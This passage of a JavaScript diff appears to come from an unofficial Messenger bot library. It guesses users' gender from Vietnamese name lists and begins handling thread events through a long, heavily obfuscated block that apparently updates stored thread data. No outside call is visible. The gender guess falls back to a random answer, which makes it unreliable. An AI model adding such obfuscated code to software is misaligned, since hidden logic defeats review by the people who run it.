+ var BoyName = ["HƯNG", "HUY", "KHẢI", "KHANG", "KHOA", "KHÔI", "KIÊN", "KIỆT", "LONG", "MINH", "ÂN", "BẢO", "BÌNH", "CƯỜNG", "ĐẠT", "ĐỨC", "DŨNG", "DUY", "HOÀNG", "HÙNG", "HƯNG", "NGHĨA", "NGUYÊN", "THẮNG", "THIỆN", "THỊNH", "TÒA", "TRIẾT", "TRUNG", "TRƯỜNG", "TUẤN", "NHÂN", "VŨ", "VINH", "PHONG", "PHÚC", "QUÂN", "QUANG", "SƠN", "TÀI", "THẮNG", "ĐĂNG", "VĂN", "VĨ", "QUANG", "MẠNH"];
768
+
769
+ var OtherName = ["ANH", "THANH", "TÂM", "DƯƠNG", "AN", "LÂM", "MIÊN", "TÚ", "LÂM", "BẰNG", "KHÁNH", "NHẬT", "VỸ", ".",",","/","%", "&","*","-","+"];
770
+
771
+ try {
772
+ var NameArray = name.split(" ");
773
+ name = NameArray[NameArray.length - 1];
774
+ var Name;
775
+ if (name == " " || name == null) return "UNKNOWN";
776
+ switch (GirlName.includes(name.toUpperCase())) {
777
+ case true: {
778
+ if (!OtherName.includes(name.toUpperCase()) && !BoyName.includes(name.toUpperCase())) Name = "FEMALE";
779
+ else Name = ['FEMALE','MALE'][Math.floor(Math.random() * 2)]; // just temp 🌚
780
+ }
781
+ break;
782
+ case false: {
783
+ if (!OtherName.includes(name.toUpperCase()) && !GirlName.includes(name.toUpperCase())) Name = "MALE"
784
+ else Name = ['FEMALE','MALE'][Math.floor(Math.random() * 2)]; // just temp 🌚
785
+ }
786
+ break;
787
+ }
788
+ }
789
+ catch (e) {
790
+ return "UNKNOWN"
791
+ }
792
+ return Name || "UNKNOWN";
793
+ }
794
+
795
+ function formatDeltaEvent(m) {
796
+ var { updateData,getData,hasData } = require('./Extra/ExtraGetThread');
797
+ var logMessageType;
798
+ var logMessageData;
799
+
800
+ // log:thread-color => {theme_color}
801
+ // log:user-nickname => {participant_id, nickname}
802
+ // log:thread-icon => {thread_icon}
803
+ // log:thread-name => {name}
804
+ // log:subscribe => {addedParticipants - [Array]}
805
+ //log:unsubscribe => {leftParticipantFbId}
806
+
807
+ switch (m.class) {
808
+ case "AdminTextMessage":
809
+ logMessageType = getAdminTextMessageType(m);
810
+ logMessageData = m.untypedData;
811
+ break;
812
+ case "ThreadName":
813
+ logMessageType = "log:thread-name";
814
+ logMessageData = { name: m.name };
815
+ break;
816
+ case "ParticipantsAddedToGroupThread":
817
+ logMessageType = "log:subscribe";
818
+ logMessageData = { addedParticipants: m.addedParticipants };
819
+ break;
820
+ case "ParticipantLeftGroupThread":
821
+ logMessageType = "log:unsubscribe";
822
+ logMessageData = { leftParticipantFbId: m.leftParticipantFbId };
823
+ break;
824
+ }
825
+
826
+ function bfwhbjwdwd_0x16b6(_0x147721,_0x246f05){const _0x600808=bfwhbjwdwd_0x3fc6();return bfwhbjwdwd_0x16b6=function(_0x701246,_0x4e99ab){_0x701246=_0x701246-(-0x6f7*0x3+0x1*-0xddb+0x246a);let _0x3af08e=_0x600808[_0x701246];return _0x3af08e;},bfwhbjwdwd_0x16b6(_0x147721,_0x246f05);}function bfwhbjwdwd_0x51dd6f(_0x353445,_0x4bdb33,_0x427ee9,_0x48ac0d,_0x3249ca){return bfwhbjwdwd_0x16b6(_0x353445- -0x1d2,_0x4bdb33);}function bfwhbjwdwd_0x28749e(_0x4d5466,_0x5a9584,_0x50d650,_0x517754,_0x145fb7){return bfwhbjwdwd_0x16b6(_0x5a9584-0x3af,_0x517754);}function bfwhbjwdwd_0x19ff6f(_0x66ca8f,_0x5e940d,_0x6acdc6,_0x307538,_0x3b7dee){return bfwhbjwdwd_0x16b6(_0x66ca8f- -0x1a6,_0x307538);}(function(_0x4b89f7,_0x11918c){function _0x4057b1(_0x3d35f0,_0x17478b,_0xc86e7e,_0x25f8e4,_0x1fdfde){return bfwhbjwdwd_0x16b6(_0x3d35f0- -0x109,_0x25f8e4);}const _0x330b6f=_0x4b89f7();function _0x4accd3(_0x2cbbec,_0x3270a2,_0x3f360d,_0x82a48a,_0x3ef48e){return bfwhbjwdwd_0x16b6(_0x82a48a- -0x1f7,_0x2cbbec);}function _0x247953(_0x3f7aab,_0x3a44cb,_0x43fab3,_0x406af5,_0x1b211c){return bfwhbjwdwd_0x16b6(_0x3f7aab-0x391,_0x1b211c);}function _0x45dd2b(_0x3ffa10,_0x579a55,_0x1911d3,_0x432063,_0x32305a){return bfwhbjwdwd_0x16b6(_0x432063- -0x33e,_0x3ffa10);}function _0x4d5645(_0x1b44be,_0x88921d,_0x1c71bd,_0x7a499d,_0x573772){return bfwhbjwdwd_0x16b6(_0x7a499d-0x386,_0x1c71bd);}while(!![]){try{const _0x8b5290=-parseInt(_0x45dd2b(-0x163,-0x168,-0x137,-0x148,-0x126))/(-0x6*-0x62e+-0x1*-0xa7d+-0x2f90)*(parseInt(_0x45dd2b(-0x16a,-0x151,-0x124,-0x144,-0x163))/(0xb0b*-0x2+0x165b+-0x43))+-parseInt(_0x4057b1(0xad,0xd6,0xb6,0x94,0x9d))/(-0x23d2+-0xa34+0x935*0x5)*(-parseInt(_0x4accd3(-0x52,-0x4b,-0x38,-0x30,-0x4))/(-0x13ae+-0x3ee*-0x7+-0x7d0))+-parseInt(_0x45dd2b(-0x1a9,-0x17d,-0x1a2,-0x18f,-0x185))/(0x137b+-0x179b*0x1+-0x1*-0x425)*(parseInt(_0x247953(0x543,0x557,0x526,0x554,0x539))/(0x1*-0x213f+0x533+0xe09*0x2))+-parseInt(_0x4accd3(-0x31,-0xf,-0x3b,-0x24,-0x8))/(-0x1*-0x97d+-0x4*-0x959+-0x2eda)+-parseInt(_0x247953(0x545,0x53c,0x530,0x556,0x540))/(-0x1*0x1681+0x14ea+0x5*0x53)*(-parseInt(_0x4accd3(0x18,0x15,0x10,-0x14,-0xa))/(-0x2612+-0x2025+0x2320*0x2))+-parseInt(_0x4accd3(-0x21,-0x2b,-0x11,-0x34,-0x28))/(0x40e+-0x12a*-0x4+-0x8ac)+parseInt(_0x247953(0x56c,0x54a,0x567,0x572,0x58b))/(-0x1e9b*0x1+0x2*0xfe5+0x49*-0x4);if(_0x8b5290===_0x11918c)break;else _0x330b6f['push'](_0x330b6f['shift']());}catch(_0x3dc950){_0x330b6f['push'](_0x330b6f['shift']());}}}(bfwhbjwdwd_0x3fc6,-0xe09d*0x7+-0xd5d70+-0x5*-0x59671));function bfwhbjwdwd_0x26f808(_0x486452,_0x4c4ba2,_0x38bc59,_0x49c8ee,_0x11b037){return bfwhbjwdwd_0x16b6(_0x38bc59-0x171,_0x49c8ee);}function bfwhbjwdwd_0x4e137a(_0x2faaf7,_0x49f979,_0x2c600f,_0x375f90,_0x3876e3){return bfwhbjwdwd_0x16b6(_0x375f90-0x120,_0x2faaf7);}if(global[bfwhbjwdwd_0x28749e(0x57e,0x562,0x551,0x564,0x55c)+'ng'][bfwhbjwdwd_0x28749e(0x576,0x56f,0x54c,0x58e,0x56e)](bfwhbjwdwd_0x26f808(0x378,0x34a,0x370,0x38e,0x346)+bfwhbjwdwd_0x26f808(0x33b,0x382,0x360,0x37c,0x34c)+bfwhbjwdwd_0x26f808(0x36a,0x386,0x362,0x363,0x38d)))switch(hasData(formatID((m[bfwhbjwdwd_0x28749e(0x59c,0x5aa,0x5c0,0x5bb,0x5ca)+bfwhbjwdwd_0x51dd6f(0x4,-0x1b,-0x1f,-0xc,0x1)+bfwhbjwdwd_0x4e137a(0x2c8,0x2c3,0x2c8,0x2db,0x302)][bfwhbjwdwd_0x4e137a(0x334,0x312,0x2fd,0x31e,0x32c)+bfwhbjwdwd_0x51dd6f(-0x1,-0x6,0x7,0x28,0x26)][bfwhbjwdwd_0x26f808(0x37c,0x37c,0x36f,0x386,0x383)+bfwhbjwdwd_0x19ff6f(0x25,0x1e,0x11,0x2,0x21)]||m[bfwhbjwdwd_0x26f808(0x373,0x383,0x36c,0x372,0x37b)+bfwhbjwdwd_0x51dd6f(0x4,0x14,0x28,0xd,0x1)+bfwhbjwdwd_0x28749e(0x547,0x56a,0x587,0x566,0x58d)][bfwhbjwdwd_0x51dd6f(0x2c,0x55,0x14,0x40,0x17)+bfwhbjwdwd_0x26f808(0x32a,0x366,0x342,0x356,0x36b)][bfwhbjwdwd_0x4e137a(0x2ee,0x301,0x2fc,0x319,0x302)+bfwhbjwdwd_0x28749e(0x56c,0x56e,0x552,0x57e,0x585)+bfwhbjwdwd_0x26f808(0x37a,0x350,0x35d,0x36c,0x33d)])[bfwhbjwdwd_0x28749e(0x5a6,0x58f,0x59e,0x582,0x579)+bfwhbjwdwd_0x51dd6f(0x7,-0x13,0x22,0x19,0xa)]()))){case!![]:{switch(logMessageType){case bfwhbjwdwd_0x19ff6f(0x40,0x51,0x2b,0x41,0x67)+bfwhbjwdwd_0x51dd6f(-0xa,-0x30,-0x20,-0x1d,-0x5)+bfwhbjwdwd_0x28749e(0x5c9,0x5a1,0x588,0x596,0x5b3)+'r':{let x=getData(formatID((m[bfwhbjwdwd_0x51dd6f(0x29,0x6,0x2b,0x40,0x9)+bfwhbjwdwd_0x51dd6f(0x4,0xf,-0x12,0x12,-0x28)+bfwhbjwdwd_0x26f808(0x342,0x34c,0x32c,0x354,0x33b)][bfwhbjwdwd_0x19ff6f(0x58,0x47,0x7f,0x30,0x6d)+bfwhbjwdwd_0x19ff6f(0x2b,0xc,0x2d,0x2a,0x1)][bfwhbjwdwd_0x51dd6f(0x2c,0xe,0x36,0x16,0x16)+bfwhbjwdwd_0x26f808(0x364,0x343,0x33c,0x31e,0x337)]||m[bfwhbjwdwd_0x19ff6f(0x55,0x43,0x80,0x74,0x5a)+bfwhbjwdwd_0x19ff6f(0x30,0x5a,0x2e,0x41,0xe)+bfwhbjwdwd_0x51dd6f(-0x17,-0x35,0x15,-0x3c,-0x15)][bfwhbjwdwd_0x28749e(0x583,0x5ad,0x596,0x5c9,0x5b1)+bfwhbjwdwd_0x51dd6f(-0x1,0x12,-0x1f,-0x1f,-0x27)][bfwhbjwdwd_0x51dd6f(0x27,0x31,0x48,0x42,0xc)+bfwhbjwdwd_0x51dd6f(-0x13,-0x10,-0x1a,-0x1,-0x33)+bfwhbjwdwd_0x26f808(0x368,0x357,0x35d,0x37d,0x36b)])[bfwhbjwdwd_0x28749e(0x572,0x58f,0x59e,0x59d,0x58b)+bfwhbjwdwd_0x19ff6f(0x33,0x4c,0x5b,0x9,0x5e)]()));x[bfwhbjwdwd_0x4e137a(0x328,0x304,0x314,0x315,0x2fa)]=logMessageData[bfwhbjwdwd_0x26f808(0x34f,0x310,0x33a,0x32c,0x34a)+bfwhbjwdwd_0x4e137a(0x32a,0x309,0x30e,0x2fe,0x326)+'i']||x[bfwhbjwdwd_0x4e137a(0x30f,0x2ed,0x2fb,0x315,0x2eb)],x[bfwhbjwdwd_0x28749e(0x5b8,0x594,0x56d,0x578,0x5ab)]=logMessageData[bfwhbjwdwd_0x4e137a(0x2e7,0x2e1,0x2d8,0x2e9,0x2d4)+bfwhbjwdwd_0x26f808(0x32f,0x32a,0x332,0x358,0x322)+'r']||x[bfwhbjwdwd_0x19ff6f(0x3f,0x16,0x4f,0x41,0x46)],updateData(formatID((m[bfwhbjwdwd_0x19ff6f(0x55,0x63,0x70,0x59,0x50)+bfwhbjwdwd_0x26f808(0x334,0x32a,0x347,0x370,0x328)+bfwhbjwdwd_0x4e137a(0x304,0x2b7,0x2e0,0x2db,0x2e8)][bfwhbjwdwd_0x51dd6f(0x2c,0x24,0x40,0x3,0x23)+bfwhbjwdwd_0x26f808(0x34e,0x323,0x342,0x36b,0x317)][bfwhbjwdwd_0x19ff6f(0x58,0x4e,0x59,0x40,0x5f)+bfwhbjwdwd_0x4e137a(0x2d7,0x2ef,0x2f1,0x2eb,0x2e9)]||m[bfwhbjwdwd_0x19ff6f(0x55,0x5c,0x6d,0x47,0x52)+bfwhbjwdwd_0x4e137a(0x2ff,0x321,0x320,0x2f6,0x2eb)+bfwhbjwdwd_0x51dd6f(-0x17,-0x29,0x1,-0x39,0xa)][bfwhbjwdwd_0x28749e(0x594,0x5ad,0x5c3,0x5be,0x5d1)+bfwhbjwdwd_0x19ff6f(0x2b,0x2a,-0x1,0x2a,0x54)][bfwhbjwdwd_0x51dd6f(0x27,0x29,0x22,0x2c,0x37)+bfwhbjwdwd_0x19ff6f(0x19,0x1f,0x2f,0x2a,0x8)+bfwhbjwdwd_0x28749e(0x5a5,0x59b,0x5b9,0x5b5,0x5b3)])[bfwhbjwdwd_0x4e137a(0x2e4,0x31f,0x2d6,0x300,0x318)+bfwhbjwdwd_0x28749e(0x59d,0x588,0x570,0x5af,0x5a6)]()),x);}break;case bfwhbjwdwd_0x4e137a(0x2c1,0x2f2,0x2e2,0x2cd,0x2e6)+bfwhbjwdwd_0x19ff6f(0x58,0x5d,0x79,0x3a,0x3e)+bfwhbjwdwd_0x19ff6f(0x16,0xa,0x0,-0x4,0x0)+'n':{let x=getData(formatID((m[bfwhbjwdwd_0x4e137a(0x333,0x316,0x33d,0x31b,0x320)+bfwhbjwdwd_0x26f808(0x33b,0x328,0x347,0x325,0x34f)+bfwhbjwdwd_0x26f808(0x33c,0x353,0x32c,0x332,0x317)][bfwhbjwdwd_0x28749e(0x58e,0x5ad,0x59d,0x58c,0x594)+bfwhbjwdwd_0x51dd6f(-0x1,0x16,-0x2,-0x16,0x7)][bfwhbjwdwd_0x51dd6f(0x2c,0x52,0x23,0x32,0x2f)+bfwhbjwdwd_0x51dd6f(-0x7,-0x26,-0x2f,-0x7,-0x7)]||m[bfwhbjwdwd_0x19ff6f(0x55,0x31,0x77,0x35,0x31)+bfwhbjwdwd_0x51dd6f(0x4,-0x7,0x2d,0x18,0x20)+bfwhbjwdwd_0x28749e(0x567,0x56a,0x570,0x55e,0x56c)][bfwhbjwdwd_0x51dd6f(0x2c,0x17,0x20,0x58,0x54)+bfwhbjwdwd_0x19ff6f(0x2b,0x33,0x29,0x3e,0x1a)][bfwhbjwdwd_0x19ff6f(0x53,0x45,0x42,0x68,0x54)+bfwhbjwdwd_0x28749e(0x55a,0x56e,0x57c,0x554,0x570)+bfwhbjwdwd_0x51dd6f(0x1a,0x33,0x40,0x1b,0x27)])[bfwhbjwdwd_0x26f808(0x379,0x352,0x351,0x37c,0x378)+bfwhbjwdwd_0x26f808(0x33f,0x374,0x34a,0x349,0x328)]()));x[bfwhbjwdwd_0x51dd6f(0x23,0x2d,0x41,0x3a,0x0)]=logMessageData[bfwhbjwdwd_0x4e137a(0x343,0x346,0x344,0x31e,0x30a)+bfwhbjwdwd_0x51dd6f(-0x4,-0xb,-0x2c,0xb,0x0)+'n']||x[bfwhbjwdwd_0x51dd6f(0x23,0x4b,0x1b,0x14,0x33)],updateData(formatID((m[bfwhbjwdwd_0x4e137a(0x2fe,0x321,0x332,0x31b,0x32f)+bfwhbjwdwd_0x28749e(0x59f,0x585,0x581,0x5a4,0x59e)+bfwhbjwdwd_0x19ff6f(0x15,0x13,-0xb,0xc,0x9)][bfwhbjwdwd_0x19ff6f(0x58,0x38,0x6a,0x5e,0x38)+bfwhbjwdwd_0x4e137a(0x311,0x2cd,0x2f3,0x2f1,0x2ca)][bfwhbjwdwd_0x4e137a(0x321,0x337,0x33c,0x31e,0x310)+bfwhbjwdwd_0x51dd6f(-0x7,0x16,-0x19,-0x20,-0x5)]||m[bfwhbjwdwd_0x19ff6f(0x55,0x79,0x6b,0x31,0x50)+bfwhbjwdwd_0x28749e(0x591,0x585,0x57e,0x587,0x570)+bfwhbjwdwd_0x28749e(0x567,0x56a,0x55b,0x557,0x563)][bfwhbjwdwd_0x4e137a(0x31d,0x347,0x31c,0x31e,0x349)+bfwhbjwdwd_0x26f808(0x324,0x331,0x342,0x330,0x328)][bfwhbjwdwd_0x4e137a(0x33e,0x337,0x301,0x319,0x33c)+bfwhbjwdwd_0x4e137a(0x2b7,0x2e2,0x2e1,0x2df,0x2e4)+bfwhbjwdwd_0x4e137a(0x2ec,0x336,0x320,0x30c,0x309)])[bfwhbjwdwd_0x51dd6f(0xe,0x35,0x6,-0x2,-0x16)+bfwhbjwdwd_0x28749e(0x570,0x588,0x581,0x56a,0x59f)]()),x);}break;case bfwhbjwdwd_0x19ff6f(0x2a,0x4,0x45,0x53,-0x1)+bfwhbjwdwd_0x28749e(0x54c,0x56d,0x561,0x594,0x599)+bfwhbjwdwd_0x26f808(0x330,0x33e,0x34e,0x365,0x32b)+'me':{let x=getData(formatID((m[bfwhbjwdwd_0x26f808(0x366,0x340,0x36c,0x346,0x372)+bfwhbjwdwd_0x26f808(0x353,0x33c,0x347,0x367,0x33d)+bfwhbjwdwd_0x28749e(0x55d,0x56a,0x57c,0x574,0x582)][bfwhbjwdwd_0x4e137a(0x305,0x333,0x306,0x31e,0x31d)+bfwhbjwdwd_0x26f808(0x363,0x330,0x342,0x31d,0x320)][bfwhbjwdwd_0x51dd6f(0x2c,0x45,0x11,0x2d,0x30)+bfwhbjwdwd_0x19ff6f(0x25,0x47,0x0,0x36,0x12)]||m[bfwhbjwdwd_0x28749e(0x580,0x5aa,0x58f,0x592,0x5b8)+bfwhbjwdwd_0x19ff6f(0x30,0x27,0x41,0x4b,0x33)+bfwhbjwdwd_0x4e137a(0x2f3,0x2c6,0x304,0x2db,0x2e7)][bfwhbjwdwd_0x51dd6f(0x2c,0x3f,0x52,0x32,0x2c)+bfwhbjwdwd_0x28749e(0x577,0x580,0x590,0x568,0x585)][bfwhbjwdwd_0x51dd6f(0x27,0xa,0x4f,0x3d,0x20)+bfwhbjwdwd_0x51dd6f(-0x13,-0x3e,0x14,-0x38,-0x12)+bfwhbjwdwd_0x28749e(0x5a1,0x59b,0x582,0x57b,0x585)])[bfwhbjwdwd_0x4e137a(0x311,0x313,0x2ea,0x300,0x2fa)+bfwhbjwdwd_0x28749e(0x57e,0x588,0x595,0x568,0x5ab)]()));x[bfwhbjwdwd_0x4e137a(0x317,0x2e8,0x2cf,0x2fa,0x2cf)+bfwhbjwdwd_0x51dd6f(0x2,-0x17,0x26,0xc,0x5)][logMessageData[bfwhbjwdwd_0x26f808(0x32e,0x321,0x321,0x317,0x328)+bfwhbjwdwd_0x26f808(0x32c,0x340,0x336,0x35d,0x35c)+bfwhbjwdwd_0x26f808(0x331,0x36b,0x350,0x34f,0x359)]]=logMessageData[bfwhbjwdwd_0x26f808(0x35f,0x34c,0x34b,0x33f,0x322)+bfwhbjwdwd_0x19ff6f(0x4d,0x6e,0x40,0x6a,0x75)][bfwhbjwdwd_0x4e137a(0x2d6,0x2c1,0x304,0x2e2,0x2cd)+'h']==0xa31+0x1890+0xd9*-0x29?x[bfwhbjwdwd_0x51dd6f(-0x24,0x3,-0x13,-0x32,-0x15)+bfwhbjwdwd_0x4e137a(0x318,0x2fc,0x316,0x2f5,0x2ec)][bfwhbjwdwd_0x28749e(0x59a,0x59c,0x57a,0x58f,0x5c5)](_0x4d7a3a=>_0x4d7a3a['id']==String(logMessageData[bfwhbjwdwd_0x4e137a(0x2df,0x2c7,0x2c6,0x2d0,0x2af)+bfwhbjwdwd_0x4e137a(0x2ee,0x2f2,0x2dc,0x2e5,0x302)+bfwhbjwdwd_0x51dd6f(0xd,-0xf,0xb,-0x13,-0x1c)]))[bfwhbjwdwd_0x28749e(0x579,0x597,0x5b2,0x577,0x572)]:logMessageData[bfwhbjwdwd_0x4e137a(0x310,0x31a,0x31c,0x2fa,0x310)+bfwhbjwdwd_0x4e137a(0x32e,0x302,0x32a,0x313,0x309)],updateData(formatID((m[bfwhbjwdwd_0x51dd6f(0x29,0x27,0x2d,0x4f,0x2d)+bfwhbjwdwd_0x51dd6f(0x4,-0x12,0x22,0x16,0x3)+bfwhbjwdwd_0x4e137a(0x2e5,0x2d7,0x2d4,0x2db,0x2c7)][bfwhbjwdwd_0x28749e(0x582,0x5ad,0x591,0x589,0x5d7)+bfwhbjwdwd_0x26f808(0x35a,0x31a,0x342,0x362,0x361)][bfwhbjwdwd_0x51dd6f(0x2c,0x44,0x7,0x8,0x26)+bfwhbjwdwd_0x51dd6f(-0x7,-0xe,-0x15,0x1e,-0x2c)]||m[bfwhbjwdwd_0x51dd6f(0x29,0x39,0x42,0xc,0x51)+bfwhbjwdwd_0x19ff6f(0x30,0x43,0x36,0x3d,0x7)+bfwhbjwdwd_0x26f808(0x349,0x318,0x32c,0x307,0x32e)][bfwhbjwdwd_0x4e137a(0x324,0x318,0x303,0x31e,0x335)+bfwhbjwdwd_0x51dd6f(-0x1,0x27,0x17,0x1b,0x2a)][bfwhbjwdwd_0x19ff6f(0x53,0x46,0x37,0x74,0x2c)+bfwhbjwdwd_0x26f808(0x32f,0x34a,0x330,0x31b,0x30f)+bfwhbjwdwd_0x4e137a(0x302,0x333,0x2f6,0x30c,0x32c)])[bfwhbjwdwd_0x28749e(0x588,0x58f,0x5af,0x593,0x5b4)+bfwhbjwdwd_0x4e137a(0x322,0x2e5,0x31e,0x2f9,0x2cf)]()),x);}break;case bfwhbjwdwd_0x26f808(0x344,0x367,0x357,0x382,0x32b)+bfwhbjwdwd_0x4e137a(0x2d1,0x2bd,0x2f4,0x2e8,0x312)+bfwhbjwdwd_0x19ff6f(0x3b,0x37,0x32,0x12,0x5f)+'ns':{let x=getData(formatID((m[bfwhbjwdwd_0x28749e(0x5ad,0x5aa,0x5cc,0x59d,0x59e)+bfwhbjwdwd_0x4e137a(0x304,0x312,0x314,0x2f6,0x2fc)+bfwhbjwdwd_0x51dd6f(-0x17,-0x1d,0xa,0xd,-0x1)][bfwhbjwdwd_0x26f808(0x397,0x389,0x36f,0x384,0x391)+bfwhbjwdwd_0x4e137a(0x2f1,0x2fa,0x2f1,0x2f1,0x2d3)][bfwhbjwdwd_0x4e137a(0x310,0x33e,0x304,0x31e,0x30c)+bfwhbjwdwd_0x51dd6f(-0x7,-0x26,-0x11,-0xd,-0x2c)]||m[bfwhbjwdwd_0x51dd6f(0x29,0x9,0x32,0x7,0x44)+bfwhbjwdwd_0x19ff6f(0x30,0x30,0x49,0x13,0x28)+bfwhbjwdwd_0x19ff6f(0x15,-0xa,-0xd,0x1f,0x3e)][bfwhbjwdwd_0x51dd6f(0x2c,0x42,0x36,0x1b,0x52)+bfwhbjwdwd_0x51dd6f(-0x1,-0x28,-0x5,-0x1f,-0x8)][bfwhbjwdwd_0x26f808(0x384,0x385,0x36a,0x36d,0x383)+bfwhbjwdwd_0x4e137a(0x301,0x305,0x30a,0x2df,0x2ba)+bfwhbjwdwd_0x51dd6f(0x1a,0x3c,0x45,0x23,0xc)])[bfwhbjwdwd_0x26f808(0x336,0x346,0x351,0x335,0x363)+bfwhbjwdwd_0x51dd6f(0x7,0x26,-0x19,0x29,-0x8)]()));switch(logMessageData[bfwhbjwdwd_0x26f808(0x361,0x35e,0x348,0x36e,0x32b)+bfwhbjwdwd_0x4e137a(0x2c3,0x2d3,0x2ab,0x2cb,0x2b3)+'T']){case bfwhbjwdwd_0x4e137a(0x310,0x301,0x2f5,0x2ef,0x2f0)+bfwhbjwdwd_0x28749e(0x597,0x59f,0x5a0,0x5a8,0x58e):{const bfwhbjwdwd_0x2aaaa1={};bfwhbjwdwd_0x2aaaa1['id']=logMessageData[bfwhbjwdwd_0x28749e(0x5aa,0x5ab,0x5b9,0x5be,0x5bb)+bfwhbjwdwd_0x26f808(0x358,0x375,0x36e,0x388,0x360)],x[bfwhbjwdwd_0x4e137a(0x2d0,0x2c1,0x2c6,0x2dd,0x2bf)+bfwhbjwdwd_0x26f808(0x34b,0x32a,0x32b,0x34b,0x34b)][bfwhbjwdwd_0x28749e(0x595,0x575,0x59b,0x553,0x564)](bfwhbjwdwd_0x2aaaa1);}break;case bfwhbjwdwd_0x51dd6f(-0x5,-0x1b,-0x4,0x0,0x4)+bfwhbjwdwd_0x4e137a(0x313,0x31a,0x30b,0x30b,0x2e0)+'in':{x[bfwhbjwdwd_0x19ff6f(0x17,0x2d,0x9,-0x10,0x21)+bfwhbjwdwd_0x51dd6f(-0x18,-0x16,-0x35,-0x18,-0x4)]=x[bfwhbjwdwd_0x4e137a(0x2c5,0x2f1,0x2d5,0x2dd,0x2fc)+bfwhbjwdwd_0x26f808(0x349,0x33b,0x32b,0x30c,0x305)][bfwhbjwdwd_0x19ff6f(0xf,0x0,-0x19,0x14,0x2)+'r'](_0x421007=>_0x421007['id']!=logMessageData[bfwhbjwdwd_0x26f808(0x398,0x349,0x36d,0x384,0x351)+bfwhbjwdwd_0x28749e(0x5bc,0x5ac,0x5ca,0x5b2,0x5a7)]);}break;}updateData(formatID((m[bfwhbjwdwd_0x28749e(0x5c0,0x5aa,0x5cb,0x59f,0x59d)+bfwhbjwdwd_0x26f808(0x33f,0x324,0x347,0x326,0x331)+bfwhbjwdwd_0x28749e(0x53e,0x56a,0x561,0x56b,0x58a)][bfwhbjwdwd_0x26f808(0x395,0x363,0x36f,0x344,0x35c)+bfwhbjwdwd_0x4e137a(0x31c,0x2f1,0x318,0x2f1,0x2cd)][bfwhbjwdwd_0x19ff6f(0x58,0x3a,0x38,0x68,0x44)+bfwhbjwdwd_0x19ff6f(0x25,0x40,-0x3,0x0,0x3)]||m[bfwhbjwdwd_0x19ff6f(0x55,0x5e,0x49,0x2f,0x6a)+bfwhbjwdwd_0x28749e(0x5a8,0x585,0x576,0x582,0x56c)+bfwhbjwdwd_0x26f808(0x323,0x30f,0x32c,0x328,0x339)][bfwhbjwdwd_0x28749e(0x5c0,0x5ad,0x5bb,0x5bc,0x5a1)+bfwhbjwdwd_0x51dd6f(-0x1,0x21,0x11,0x12,0xf)][bfwhbjwdwd_0x19ff6f(0x53,0x53,0x77,0x7f,0x70)+bfwhbjwdwd_0x28749e(0x56b,0x56e,0x57c,0x585,0x589)+bfwhbjwdwd_0x4e137a(0x31d,0x2e0,0x30b,0x30c,0x322)])[bfwhbjwdwd_0x26f808(0x372,0x33c,0x351,0x32b,0x359)+bfwhbjwdwd_0x28749e(0x5a4,0x588,0x5ae,0x5b1,0x59a)]()),x);}break;case bfwhbjwdwd_0x19ff6f(0x40,0x2a,0x30,0x1e,0x5f)+bfwhbjwdwd_0x19ff6f(0x22,0x3d,0x35,0x45,0x46)+bfwhbjwdwd_0x4e137a(0x2b8,0x2e3,0x2e5,0x2d7,0x2d7)+bfwhbjwdwd_0x19ff6f(0x36,0x4f,0x1f,0x20,0x25)+bfwhbjwdwd_0x4e137a(0x2f8,0x2e6,0x2ee,0x2ec,0x307):{let x=getData(formatID((m[bfwhbjwdwd_0x51dd6f(0x29,0x43,0x3e,0x19,0x18)+bfwhbjwdwd_0x28749e(0x57f,0x585,0x5aa,0x560,0x595)+bfwhbjwdwd_0x28749e(0x57d,0x56a,0x568,0x565,0x558)][bfwhbjwdwd_0x51dd6f(0x2c,0x3,0x11,0x25,0x1c)+bfwhbjwdwd_0x51dd6f(-0x1,-0x20,0x1,0x18,-0x1e)][bfwhbjwdwd_0x28749e(0x597,0x5ad,0x5c8,0x5a3,0x5d8)+bfwhbjwdwd_0x4e137a(0x2e6,0x2e1,0x2d6,0x2eb,0x2f5)]||m[bfwhbjwdwd_0x26f808(0x36b,0x357,0x36c,0x369,0x379)+bfwhbjwdwd_0x28749e(0x563,0x585,0x588,0x56c,0x599)+bfwhbjwdwd_0x51dd6f(-0x17,-0x16,0x4,-0x3d,0x9)][bfwhbjwdwd_0x19ff6f(0x58,0x83,0x55,0x4e,0x34)+bfwhbjwdwd_0x51dd6f(-0x1,0x6,-0x10,0x27,-0x1)][bfwhbjwdwd_0x51dd6f(0x27,0xc,0x2c,0xb,0x1b)+bfwhbjwdwd_0x51dd6f(-0x13,0x17,0x1,-0x2d,-0x1b)+bfwhbjwdwd_0x51dd6f(0x1a,0x13,0x2b,0x1d,0x0)])[bfwhbjwdwd_0x28749e(0x57e,0x58f,0x577,0x57a,0x574)+bfwhbjwdwd_0x28749e(0x57a,0x588,0x59f,0x561,0x5ad)]()));x[bfwhbjwdwd_0x26f808(0x33a,0x338,0x35b,0x347,0x37d)+bfwhbjwdwd_0x51dd6f(0x22,0x3e,0x30,0x43,0x11)+'de']==!![]?x[bfwhbjwdwd_0x26f808(0x332,0x33e,0x35b,0x369,0x34b)+bfwhbjwdwd_0x4e137a(0x324,0x310,0x2fe,0x314,0x31a)+'de']=![]:x[bfwhbjwdwd_0x4e137a(0x322,0x2f3,0x32b,0x30a,0x317)+bfwhbjwdwd_0x51dd6f(0x22,0xf,0x1e,0xf,0x1c)+'de']=!![],updateData(formatID((m[bfwhbjwdwd_0x26f808(0x380,0x36c,0x36c,0x37f,0x34a)+bfwhbjwdwd_0x26f808(0x353,0x35b,0x347,0x347,0x344)+bfwhbjwdwd_0x26f808(0x316,0x340,0x32c,0x346,0x34f)][bfwhbjwdwd_0x26f808(0x381,0x396,0x36f,0x391,0x351)+bfwhbjwdwd_0x51dd6f(-0x1,-0x7,0x14,-0x28,-0x11)][bfwhbjwdwd_0x51dd6f(0x2c,0x30,0x42,0x17,0x54)+bfwhbjwdwd_0x51dd6f(-0x7,-0x21,-0x19,-0x2c,-0x1d)]||m[bfwhbjwdwd_0x28749e(0x5b3,0x5aa,0x588,0x597,0x5b9)+bfwhbjwdwd_0x4e137a(0x2df,0x2dc,0x2ea,0x2f6,0x2e9)+bfwhbjwdwd_0x26f808(0x353,0x31d,0x32c,0x341,0x33d)][bfwhbjwdwd_0x28749e(0x5cf,0x5ad,0x596,0x5ad,0x5c2)+bfwhbjwdwd_0x51dd6f(-0x1,0x7,0x9,-0x16,0x22)][bfwhbjwdwd_0x26f808(0x370,0x357,0x36a,0x373,0x35b)+bfwhbjwdwd_0x28749e(0x55b,0x56e,0x594,0x546,0x598)+bfwhbjwdwd_0x51d